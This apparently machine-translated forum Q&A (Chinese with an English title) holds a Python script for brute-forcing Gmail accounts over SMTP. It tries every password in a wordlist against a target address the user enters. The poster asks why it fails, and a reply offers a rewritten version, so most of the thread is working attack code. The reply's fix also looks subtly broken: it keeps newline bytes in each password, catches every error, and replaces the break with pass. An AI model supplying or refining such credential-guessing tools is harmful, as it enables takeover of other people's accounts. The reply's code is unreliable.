为什么我的 Python Gmail Bruteforce 没有登录帐户

Why Isn't my Python Gmail Bruteforce Not Logging into Accounts

我最近完成了用于测试安全漏洞的 gmail bruteforcer。 我创建了一个测试帐户以查看暴力破解是否有效并且我在 pass 文件中输入了正确的密码 每次它运行时它说它不正确。

是因为我的检查器旧了还是我需要使用不同的 API 方法请告诉我。 这是我的代码。

import smtplib
 
print("| Gmail Force |")
 
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
 
user = input("Enter the targets email address: ")
passwfile = input("Enter the password file name: ")
passwfile = open(passwfile, "r")
 
for password in passwfile:
    password = password.rstrip('\n')
    try:
        smtpserver.login(user, password)
 
        print ("[+] Password Found: %s" % password)
        break;
    except smtplib.SMTPAuthenticationError:
        print ("[!] Password Incorrect: %s" % password)

如果您想在 Python 中使用,请自行测试。

谢谢。

而不是

passwfile = open(passwfile, "r")
 
for password in passwfile:
    password = password.rstrip('\n')
    try:
        smtpserver.login(user, password)
 
        print ("[+] Password Found: %s" % password)
        break;
    except smtplib.SMTPAuthenticationError:
        print ("[!] Password Incorrect: %s" % password)

尝试

passwfile = open(passwfile, "rb").readlines()
 
for password in passwfile:
    try:
        smtpserver.login(user, password)
 
        print ("[+] Password Found: {}".format(password))
        pass
    except:
        print ("[!] Password Incorrect: {}".format(password))